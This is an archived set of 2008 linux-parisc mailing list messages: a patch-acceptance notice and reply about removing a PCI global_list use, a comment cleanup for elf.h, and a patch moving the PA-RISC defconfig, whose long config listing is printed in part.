Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:139 gmane.linux.kernel:643488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/139>


This is a note to let you know that I've just added the patch titled

     Subject: PCI: remove parisc consumer of the pci global_list

to my gregkh-2.6 tree.  Its filename is

     pci-remove-parisc-consumer-of-the-pci-global_list.patch

This tree can be found at 
    http://www.kernel.org/pub/linux/kernel/people/gregkh/gregkh-2.6/patches/


>From James.Bottomley@HansenPartnership.com  Wed Feb 20 14:22:51 2008
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Wed, 20 Feb 2008 15:14:24 -0600
Subject: PCI: remove parisc consumer of the pci global_list
To: Greg KH <greg@kroah.com>
Cc: Parisc List <linux-parisc@vger.kernel.org>, linux-kernel <linux-kernel@vger.kernel.org>
Message-ID: <1203542065.3109.42.camel@localhost.localdomain>

Remove the parisc usage of the global_list, as it's not needed anymore.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

---
 drivers/parisc/dino.c |    1 -
 1 file changed, 1 deletion(-)

--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -496,7 +496,6 @@ dino_card_setup(struct pci_bus *bus, voi
 		list_for_each_safe(ln, tmp_ln, &bus->devices) {
 			struct pci_dev *dev = pci_dev_b(ln);
 
-			list_del(&dev->global_list);
 			list_del(&dev->bus_list);
 		}
 			


Patches currently in gregkh-2.6 which might be from James.Bottomley@HansenPartnership.com are

pci/pci-remove-parisc-consumer-of-the-pci-global_list.patch

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: patch pci-remove-parisc-consumer-of-the-pci-global_list.patch
	added to gregkh-2.6 tree
Date: Wed, 20 Feb 2008 17:45:15 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20080220224515.GA1766@phobos.i.cabal.ca>
References: <1203542065.3109.42.camel@localhost.localdomain> <12035463024141@kroah.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203547531 10310 80.91.229.12 (20 Feb 2008 22:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Feb 2008 22:45:31 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, greg@kroah.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: gregkh@suse.de
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 20 23:45:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRxhH-00018z-El
	for glpp-linux-parisc@gmane.org; Wed, 20 Feb 2008 23:45:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756922AbYBTWpT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Feb 2008 17:45:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758025AbYBTWpT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Feb 2008 17:45:19 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:20160 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756291AbYBTWpR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Feb 2008 17:45:17 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id F378417816F; Wed, 20 Feb 2008 17:45:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <12035463024141@kroah.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:140 gmane.linux.kernel:643499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/140>

On Wed, Feb 20, 2008 at 02:25:02PM -0800, gregkh@suse.de wrote:
> 
> This is a note to let you know that I've just added the patch titled
> 
>      Subject: PCI: remove parisc consumer of the pci global_list
> 

Thanks for finding this, both of you. Probably saves me some heartaches
for 2.6.26-rc1. :)

cheers, Kyle

From - Thu Nov 08 21:02:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch] clean up include/asm-parisc/elf.h
Date: Sun, 24 Feb 2008 10:44:21 -0800
Lines: 68
Approved: news@gmane.org
Message-ID: <20080224184421.GE30060@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203879239 23291 80.91.229.12 (24 Feb 2008 18:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Feb 2008 18:53:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 24 19:54:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JTLzR-00025n-QK
	for glpp-linux-parisc@gmane.org; Sun, 24 Feb 2008 19:54:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752757AbYBXSxt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Feb 2008 13:53:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752873AbYBXSxt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Feb 2008 13:53:49 -0500
Original-Received: from gandalf.tausq.org ([64.81.244.94]:35701 "EHLO arwen.tausq.org"
	rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org with ESMTP
	id S1752757AbYBXSxs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Feb 2008 13:53:48 -0500
X-Greylist: delayed 626 seconds by postgrey-1.27 at vger.kernel.org; Sun, 24 Feb 2008 13:53:48 EST
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id ADB72132C166; Sun, 24 Feb 2008 10:44:21 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.15+20070412 (2007-04-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/141>

Cleanup some cruft. No functionality changes.

Signed-off-by: Randolph Chung <tausq@parisc-linux.org>

diff --git a/include/asm-parisc/elf.h b/include/asm-parisc/elf.h
index ce0c0d8..a5f79d3 100644
--- a/include/asm-parisc/elf.h
+++ b/include/asm-parisc/elf.h
@@ -204,7 +204,7 @@ typedef struct elf64_fdesc {
 /*
  * The following definitions are those for 32-bit ELF binaries on a 32-bit
  * kernel and for 64-bit binaries on a 64-bit kernel.  To run 32-bit binaries
- * on a 64-bit kernel, arch/parisc64/kernel/binfmt_elf32.c defines these
+ * on a 64-bit kernel, arch/parisc/kernel/binfmt_elf32.c defines these
  * macros appropriately and then #includes binfmt_elf.c, which then includes
  * this file.
  */
@@ -216,26 +216,25 @@ typedef struct elf64_fdesc {
  * Note that this header file is used by default in fs/binfmt_elf.c. So
  * the following macros are for the default case. However, for the 64
  * bit kernel we also support 32 bit parisc binaries. To do that
- * arch/parisc64/kernel/binfmt_elf32.c defines its own set of these
+ * arch/parisc/kernel/binfmt_elf32.c defines its own set of these
  * macros, and then it includes fs/binfmt_elf.c to provide an alternate
  * elf binary handler for 32 bit binaries (on the 64 bit kernel).
  */
 #ifdef CONFIG_64BIT
-#define ELF_CLASS       ELFCLASS64
+#define ELF_CLASS   ELFCLASS64
 #else
 #define ELF_CLASS	ELFCLASS32
 #endif
 
 typedef unsigned long elf_greg_t;
 
-/* This yields a string that ld.so will use to load implementation
-   specific libraries for optimization.  This is more specific in
-   intent than poking at uname or /proc/cpuinfo.
-
-   For the moment, we have only optimizations for the Intel generations,
-   but that could change... */
+/* 
+ * This yields a string that ld.so will use to load implementation
+ * specific libraries for optimization.  This is more specific in
+ * intent than poking at uname or /proc/cpuinfo.
+ */
 
-#define ELF_PLATFORM  ("PARISC\0" /*+((boot_cpu_data.x86-3)*5) */)
+#define ELF_PLATFORM  ("PARISC\0")
 
 #define SET_PERSONALITY(ex, ibcs2) \
 	current->personality = PER_LINUX; \
@@ -310,7 +309,7 @@ struct pt_regs;	/* forward declaration... */
 #define ELF_OSABI 	ELFOSABI_LINUX
 
 /* %r23 is set by ld.so to a pointer to a function which might be 
-   registered using atexit.  This provides a mean for the dynamic
+   registered using atexit.  This provides a means for the dynamic
    linker to call DT_FINI functions for shared libraries that have
    been loaded before the code runs.
 
@@ -339,6 +338,5 @@ struct pt_regs;	/* forward declaration... */
    but it's not easy, and we've already done it here.  */
 
 #define ELF_HWCAP	0
-/* (boot_cpu_data.x86_capability) */
 
 #endif

From - Thu Nov 08 21:02:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] parisc: move defconfig to arch/parisc/configs/
Date: Tue, 26 Feb 2008 21:55:17 +0200
Lines: 2887
Approved: news@gmane.org
Message-ID: <20080226195517.GF4898@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1204055864 1281 80.91.229.12 (26 Feb 2008 19:57:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Feb 2008 19:57:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 26 20:58:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JU5wB-0003MZ-So
	for glpp-linux-parisc@gmane.org; Tue, 26 Feb 2008 20:58:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763629AbYBZT4e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Feb 2008 14:56:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764222AbYBZT4e
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Feb 2008 14:56:34 -0500
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:50185 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1763629AbYBZT4Z (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Feb 2008 14:56:25 -0500
Original-Received: from cs181133002.pp.htv.fi (cs181133002.pp.htv.fi [82.181.133.2])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id B47EF5BC014;
	Tue, 26 Feb 2008 21:56:21 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:142 gmane.linux.kernel:646335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/142>

This patch moves the default parisc defconfig to 
arch/parisc/configs/generic_defconfig where it belongs and selects it as 
the default defconfig through KBUILD_DEFCONFIG.

Signed-off-by: Adrian Bunk <adrian.bunk@movial.fi>

---

 arch/parisc/Makefile                               |    3 +++
 .../{defconfig => configs/default_defconfig}       |    0 
 2 files changed, 3 insertions(+), 0 deletions(-)

25ad6479214cf7d0f913e7e7ea9ae609af14c785 diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index e574de4..5ddad7b 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -16,6 +16,9 @@
 # Modified for PA-RISC Linux by Paul Lahaie, Alex deVries, 
 # Mike Shaver, Helge Deller and Martin K. Petersen
 #
+
+KBUILD_DEFCONFIG := default_defconfig
+
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 
diff --git a/arch/parisc/configs/default_defconfig b/arch/parisc/configs/default_defconfig
new file mode 100644
index 0000000..448a757
--- /dev/null
+++ b/arch/parisc/configs/default_defconfig
@@ -0,0 +1,1424 @@
+#
+# Automatically generated make config: don't edit
+# Linux kernel version: 2.6.23
+# Fri Oct 12 20:54:57 2007
+#
+CONFIG_PARISC=y
+CONFIG_MMU=y
+CONFIG_STACK_GROWSUP=y
+CONFIG_RWSEM_GENERIC_SPINLOCK=y
+# CONFIG_ARCH_HAS_ILOG2_U32 is not set
+# CONFIG_ARCH_HAS_ILOG2_U64 is not set
+CONFIG_GENERIC_FIND_NEXT_BIT=y
+CONFIG_GENERIC_BUG=y
+CONFIG_GENERIC_HWEIGHT=y
+CONFIG_GENERIC_CALIBRATE_DELAY=y
+CONFIG_GENERIC_TIME=y
+CONFIG_GENERIC_HARDIRQS=y
+CONFIG_GENERIC_IRQ_PROBE=y
+CONFIG_IRQ_PER_CPU=y
+CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
+
+#
+# General setup
+#
+CONFIG_EXPERIMENTAL=y
+CONFIG_BROKEN_ON_SMP=y
+CONFIG_INIT_ENV_ARG_LIMIT=32
+CONFIG_LOCALVERSION=""
+# CONFIG_LOCALVERSION_AUTO is not set
+CONFIG_SWAP=y
+CONFIG_SYSVIPC=y
+CONFIG_SYSVIPC_SYSCTL=y
+CONFIG_POSIX_MQUEUE=y
+# CONFIG_BSD_PROCESS_ACCT is not set
+# CONFIG_TASKSTATS is not set
+# CONFIG_USER_NS is not set
+# CONFIG_AUDIT is not set
+CONFIG_IKCONFIG=y
+CONFIG_IKCONFIG_PROC=y
+CONFIG_LOG_BUF_SHIFT=16
+CONFIG_SYSFS_DEPRECATED=y
+# CONFIG_RELAY is not set
+CONFIG_BLK_DEV_INITRD=y
+CONFIG_INITRAMFS_SOURCE=""
+CONFIG_CC_OPTIMIZE_FOR_SIZE=y
+CONFIG_SYSCTL=y
+# CONFIG_EMBEDDED is not set
+CONFIG_SYSCTL_SYSCALL=y
+CONFIG_KALLSYMS=y
+CONFIG_KALLSYMS_ALL=y
+# CONFIG_KALLSYMS_EXTRA_PASS is not set
+CONFIG_HOTPLUG=y
+CONFIG_PRINTK=y
+CONFIG_BUG=y
+CONFIG_ELF_CORE=y
+CONFIG_BASE_FULL=y
+CONFIG_FUTEX=y
+CONFIG_ANON_INODES=y
+CONFIG_EPOLL=y
+CONFIG_SIGNALFD=y
+CONFIG_EVENTFD=y
+CONFIG_SHMEM=y
+CONFIG_VM_EVENT_COUNTERS=y
+CONFIG_SLAB=y
+# CONFIG_SLUB is not set
+# CONFIG_SLOB is not set
+CONFIG_RT_MUTEXES=y
+# CONFIG_TINY_SHMEM is not set
+CONFIG_BASE_SMALL=0
+CONFIG_MODULES=y
+CONFIG_MODULE_UNLOAD=y
+CONFIG_MODULE_FORCE_UNLOAD=y
+# CONFIG_MODVERSIONS is not set
+# CONFIG_MODULE_SRCVERSION_ALL is not set
+CONFIG_KMOD=y
+CONFIG_BLOCK=y
+# CONFIG_LBD is not set
+# CONFIG_BLK_DEV_IO_TRACE is not set
+# CONFIG_LSF is not set
+# CONFIG_BLK_DEV_BSG is not set
+
+#
+# IO Schedulers
+#
+CONFIG_IOSCHED_NOOP=y
+CONFIG_IOSCHED_AS=y
+CONFIG_IOSCHED_DEADLINE=y
+CONFIG_IOSCHED_CFQ=y
+CONFIG_DEFAULT_AS=y
+# CONFIG_DEFAULT_DEADLINE is not set
+# CONFIG_DEFAULT_CFQ is not set
+# CONFIG_DEFAULT_NOOP is not set
+CONFIG_DEFAULT_IOSCHED="anticipatory"
+
+#
+# Processor type and features
+#
+# CONFIG_PA7000 is not set
+CONFIG_PA7100LC=y
+# CONFIG_PA7200 is not set
+# CONFIG_PA7300LC is not set
+# CONFIG_PA8X00 is not set
+CONFIG_PA11=y
+CONFIG_PARISC_PAGE_SIZE_4KB=y
+# CONFIG_PARISC_PAGE_SIZE_16KB is not set
+# CONFIG_PARISC_PAGE_SIZE_64KB is not set
+# CONFIG_SMP is not set
+CONFIG_ARCH_FLATMEM_ENABLE=y
+# CONFIG_PREEMPT_NONE is not set
+CONFIG_PREEMPT_VOLUNTARY=y
+# CONFIG_PREEMPT is not set
+# CONFIG_HZ_100 is not set
+CONFIG_HZ_250=y
+# CONFIG_HZ_300 is not set
+# CONFIG_HZ_1000 is not set
+CONFIG_HZ=250
+CONFIG_SELECT_MEMORY_MODEL=y
+CONFIG_FLATMEM_MANUAL=y
+# CONFIG_DISCONTIGMEM_MANUAL is not set
+# CONFIG_SPARSEMEM_MANUAL is not set
+CONFIG_FLATMEM=y
+CONFIG_FLAT_NODE_MEM_MAP=y
+# CONFIG_SPARSEMEM_STATIC is not set
+CONFIG_SPLIT_PTLOCK_CPUS=4096
+# CONFIG_RESOURCES_64BIT is not set
+CONFIG_ZONE_DMA_FLAG=0
+CONFIG_VIRT_TO_BUS=y
+# CONFIG_HPUX is not set
+
+#
+# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
+#
+CONFIG_GSC=y
+# CONFIG_HPPB is not set
+CONFIG_IOMMU_CCIO=y
+CONFIG_GSC_LASI=y
+CONFIG_GSC_WAX=y
+CONFIG_EISA=y
+CONFIG_EISA_NAMES=y
+# CONFIG_ISA is not set
+CONFIG_PCI=y
+# CONFIG_ARCH_SUPPORTS_MSI is not set
+# CONFIG_PCI_DEBUG is not set
+CONFIG_GSC_DINO=y
+CONFIG_PCI_LBA=y
+CONFIG_IOSAPIC=y
+CONFIG_IOMMU_SBA=y
+
+#
+# PCCARD (PCMCIA/CardBus) support
+#
+CONFIG_PCCARD=y
+# CONFIG_PCMCIA_DEBUG is not set
+CONFIG_PCMCIA=y
+CONFIG_PCMCIA_LOAD_CIS=y
+CONFIG_PCMCIA_IOCTL=y
+CONFIG_CARDBUS=y
+
+#
+# PC-card bridges
+#
+CONFIG_YENTA=y
+CONFIG_YENTA_O2=y
+CONFIG_YENTA_RICOH=y
+CONFIG_YENTA_TI=y
+CONFIG_YENTA_ENE_TUNE=y
+CONFIG_YENTA_TOSHIBA=y
+CONFIG_PD6729=y
+CONFIG_I82092=y
+CONFIG_PCCARD_NONSTATIC=y
+# CONFIG_HOTPLUG_PCI is not set
+
+#
+# PA-RISC specific drivers
+#
+CONFIG_SUPERIO=y
+CONFIG_CHASSIS_LCD_LED=y
+CONFIG_PDC_CHASSIS=y
+CONFIG_PDC_CHASSIS_WARN=y
+CONFIG_PDC_STABLE=y
+
+#
+# Executable file formats
+#
+CONFIG_BINFMT_ELF=y
+CONFIG_BINFMT_MISC=m
+
+#
+# Networking
+#
+CONFIG_NET=y
+
+#
+# Networking options
+#
+CONFIG_PACKET=y
+CONFIG_PACKET_MMAP=y
+CONFIG_UNIX=y
+CONFIG_XFRM=y
+CONFIG_XFRM_USER=m
+# CONFIG_XFRM_SUB_POLICY is not set
+# CONFIG_XFRM_MIGRATE is not set
+CONFIG_NET_KEY=m
+# CONFIG_NET_KEY_MIGRATE is not set
+CONFIG_INET=y
+CONFIG_IP_MULTICAST=y
+# CONFIG_IP_ADVANCED_ROUTER is not set
+CONFIG_IP_FIB_HASH=y
+CONFIG_IP_PNP=y
+CONFIG_IP_PNP_DHCP=y
+CONFIG_IP_PNP_BOOTP=y
+# CONFIG_IP_PNP_RARP is not set
+# CONFIG_NET_IPIP is not set
+# CONFIG_NET_IPGRE is not set
+# CONFIG_IP_MROUTE is not set
+# CONFIG_ARPD is not set
+# CONFIG_SYN_COOKIES is not set
+CONFIG_INET_AH=m
+CONFIG_INET_ESP=m
+# CONFIG_INET_IPCOMP is not set
+# CONFIG_INET_XFRM_TUNNEL is not set
+CONFIG_INET_TUNNEL=y
+CONFIG_INET_XFRM_MODE_TRANSPORT=y
+CONFIG_INET_XFRM_MODE_TUNNEL=y
+CONFIG_INET_XFRM_MODE_BEET=y
+# CONFIG_INET_LRO is not set
+CONFIG_INET_DIAG=m
+CONFIG_INET_TCP_DIAG=m
+# CONFIG_TCP_CONG_ADVANCED is not set
+CONFIG_TCP_CONG_CUBIC=y
+CONFIG_DEFAULT_TCP_CONG="cubic"
+# CONFIG_TCP_MD5SIG is not set
+CONFIG_IPV6=y
+# CONFIG_IPV6_PRIVACY is not set
+# CONFIG_IPV6_ROUTER_PREF is not set
+# CONFIG_IPV6_OPTIMISTIC_DAD is not set
+CONFIG_INET6_AH=y
+CONFIG_INET6_ESP=y
+CONFIG_INET6_IPCOMP=y
+# CONFIG_IPV6_MIP6 is not set
+CONFIG_INET6_XFRM_TUNNEL=y
+CONFIG_INET6_TUNNEL=y
+CONFIG_INET6_XFRM_MODE_TRANSPORT=y
+CONFIG_INET6_XFRM_MODE_TUNNEL=y
+CONFIG_INET6_XFRM_MODE_BEET=y
+# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
+CONFIG_IPV6_SIT=y
+# CONFIG_IPV6_TUNNEL is not set
+# CONFIG_IPV6_MULTIPLE_TABLES is not set
+# CONFIG_NETWORK_SECMARK is not set
+# CONFIG_NETFILTER is not set
+# CONFIG_IP_DCCP is not set
+# CONFIG_IP_SCTP is not set
+# CONFIG_TIPC is not set
+# CONFIG_ATM is not set
+# CONFIG_BRIDGE is not set
+# CONFIG_VLAN_8021Q is not set
+# CONFIG_DECNET is not set
+CONFIG_LLC=m
+CONFIG_LLC2=m
+# CONFIG_IPX is not set
+# CONFIG_ATALK is not set
+# CONFIG_X25 is not set
+# CONFIG_LAPB is not set
+# CONFIG_ECONET is not set
+# CONFIG_WAN_ROUTER is not set
+
+#
+# QoS and/or fair queueing
+#
+# CONFIG_NET_SCHED is not set
+
+#
+# Network testing
+#
+# CONFIG_NET_PKTGEN is not set
+# CONFIG_HAMRADIO is not set
+# CONFIG_IRDA is not set
+# CONFIG_BT is not set
+# CONFIG_AF_RXRPC is not set
+
+#
+# Wireless
+#
+# CONFIG_CFG80211 is not set
+# CONFIG_WIRELESS_EXT is not set
+# CONFIG_MAC80211 is not set
+# CONFIG_IEEE80211 is not set
+# CONFIG_RFKILL is not set
+# CONFIG_NET_9P is not set
+
+#
+# Device Drivers
+#
+
+#
+# Generic Driver Options
+#
+CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+# CONFIG_STANDALONE is not set
+# CONFIG_PREVENT_FIRMWARE_BUILD is not set
+CONFIG_FW_LOADER=y
+# CONFIG_DEBUG_DRIVER is not set
+# CONFIG_DEBUG_DEVRES is not set
+# CONFIG_SYS_HYPERVISOR is not set
+# CONFIG_CONNECTOR is not set
+# CONFIG_MTD is not set
+CONFIG_PARPORT=y
+CONFIG_PARPORT_PC=m
+# CONFIG_PARPORT_SERIAL is not set
+# CONFIG_PARPORT_PC_FIFO is not set
+# CONFIG_PARPORT_PC_SUPERIO is not set
+CONFIG_PARPORT_PC_PCMCIA=m
+CONFIG_PARPORT_GSC=y
+# CONFIG_PARPORT_AX88796 is not set
+CONFIG_PARPORT_1284=y
+CONFIG_PARPORT_NOT_PC=y
+CONFIG_BLK_DEV=y
+# CONFIG_PARIDE is not set
+# CONFIG_BLK_CPQ_DA is not set
+# CONFIG_BLK_CPQ_CISS_DA is not set
+# CONFIG_BLK_DEV_DAC960 is not set
+# CONFIG_BLK_DEV_UMEM is not set
+# CONFIG_BLK_DEV_COW_COMMON is not set
+CONFIG_BLK_DEV_LOOP=y
+CONFIG_BLK_DEV_CRYPTOLOOP=y
+# CONFIG_BLK_DEV_NBD is not set
+# CONFIG_BLK_DEV_SX8 is not set
+# CONFIG_BLK_DEV_UB is not set
+CONFIG_BLK_DEV_RAM=y
+CONFIG_BLK_DEV_RAM_COUNT=16
+CONFIG_BLK_DEV_RAM_SIZE=6144
+CONFIG_BLK_DEV_RAM_BLOCKSIZE=1024
+# CONFIG_CDROM_PKTCDVD is not set
+# CONFIG_ATA_OVER_ETH is not set
+CONFIG_MISC_DEVICES=y
+# CONFIG_PHANTOM is not set
+# CONFIG_EEPROM_93CX6 is not set
+# CONFIG_SGI_IOC4 is not set
+# CONFIG_TIFM_CORE is not set
+CONFIG_IDE=y
+CONFIG_BLK_DEV_IDE=y
+
+#
+# Please see Documentation/ide.txt for help/info on IDE drives
+#
+# CONFIG_BLK_DEV_IDE_SATA is not set
+CONFIG_BLK_DEV_IDEDISK=y
+CONFIG_IDEDISK_MULTI_MODE=y
+CONFIG_BLK_DEV_IDECS=y
+# CONFIG_BLK_DEV_DELKIN is not set
+CONFIG_BLK_DEV_IDECD=y
+# CONFIG_BLK_DEV_IDETAPE is not set
+# CONFIG_BLK_DEV_IDEFLOPPY is not set
+CONFIG_BLK_DEV_IDESCSI=y
+# CONFIG_IDE_TASK_IOCTL is not set
+CONFIG_IDE_PROC_FS=y
+
+#
+# IDE chipset support/bugfixes
+#
+CONFIG_IDE_GENERIC=y
+# CONFIG_BLK_DEV_PLATFORM is not set
+
+#
+# PCI IDE chipsets support
+#
+CONFIG_BLK_DEV_IDEPCI=y
+CONFIG_IDEPCI_SHARE_IRQ=y
+CONFIG_IDEPCI_PCIBUS_ORDER=y
+# CONFIG_BLK_DEV_OFFBOARD is not set
+CONFIG_BLK_DEV_GENERIC=y
+# CONFIG_BLK_DEV_OPTI621 is not set
+CONFIG_BLK_DEV_IDEDMA_PCI=y
+# CONFIG_BLK_DEV_IDEDMA_FORCED is not set
+CONFIG_IDEDMA_ONLYDISK=y
+# CONFIG_BLK_DEV_AEC62XX is not set
+# CONFIG_BLK_DEV_ALI15X3 is not set
+# CONFIG_BLK_DEV_AMD74XX is not set
+# CONFIG_BLK_DEV_CMD64X is not set
+# CONFIG_BLK_DEV_TRIFLEX is not set
+# CONFIG_BLK_DEV_CY82C693 is not set
+# CONFIG_BLK_DEV_CS5520 is not set
+# CONFIG_BLK_DEV_CS5530 is not set
+# CONFIG_BLK_DEV_HPT34X is not set
+# CONFIG_BLK_DEV_HPT366 is not set
+# CONFIG_BLK_DEV_JMICRON is not set
+# CONFIG_BLK_DEV_SC1200 is not set
+# CONFIG_BLK_DEV_PIIX is not set
+# CONFIG_BLK_DEV_IT8213 is not set
+# CONFIG_BLK_DEV_IT821X is not set
+CONFIG_BLK_DEV_NS87415=y
+# CONFIG_BLK_DEV_PDC202XX_OLD is not set
+# CONFIG_BLK_DEV_PDC202XX_NEW is not set
+# CONFIG_BLK_DEV_SVWKS is not set
+# CONFIG_BLK_DEV_SIIMAGE is not set
+# CONFIG_BLK_DEV_SLC90E66 is not set
+# CONFIG_BLK_DEV_TRM290 is not set
+# CONFIG_BLK_DEV_VIA82CXXX is not set
+# CONFIG_BLK_DEV_TC86C001 is not set
+# CONFIG_IDE_ARM is not set
+CONFIG_BLK_DEV_IDEDMA=y
+# CONFIG_IDEDMA_IVB is not set
+# CONFIG_BLK_DEV_HD is not set
+
+#
+# SCSI device support
+#
+# CONFIG_RAID_ATTRS is not set
+CONFIG_SCSI=y
+CONFIG_SCSI_DMA=y
+# CONFIG_SCSI_TGT is not set
+# CONFIG_SCSI_NETLINK is not set
+CONFIG_SCSI_PROC_FS=y
+
+#
+# SCSI support type (disk, tape, CD-ROM)
+#
+CONFIG_BLK_DEV_SD=y
+CONFIG_CHR_DEV_ST=y
+# CONFIG_CHR_DEV_OSST is not set
+CONFIG_BLK_DEV_SR=y
+# CONFIG_BLK_DEV_SR_VENDOR is not set
+CONFIG_CHR_DEV_SG=y
+# CONFIG_CHR_DEV_SCH is not set
+
+#
+# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
+#
+# CONFIG_SCSI_MULTI_LUN is not set
+# CONFIG_SCSI_CONSTANTS is not set
+# CONFIG_SCSI_LOGGING is not set
+# CONFIG_SCSI_SCAN_ASYNC is not set
+CONFIG_SCSI_WAIT_SCAN=m
+
+#
+# SCSI Transports
+#
+CONFIG_SCSI_SPI_ATTRS=y
+# CONFIG_SCSI_FC_ATTRS is not set
+# CONFIG_SCSI_ISCSI_ATTRS is not set
+# CONFIG_SCSI_SAS_LIBSAS is not set
+CONFIG_SCSI_LOWLEVEL=y
+# CONFIG_ISCSI_TCP is not set
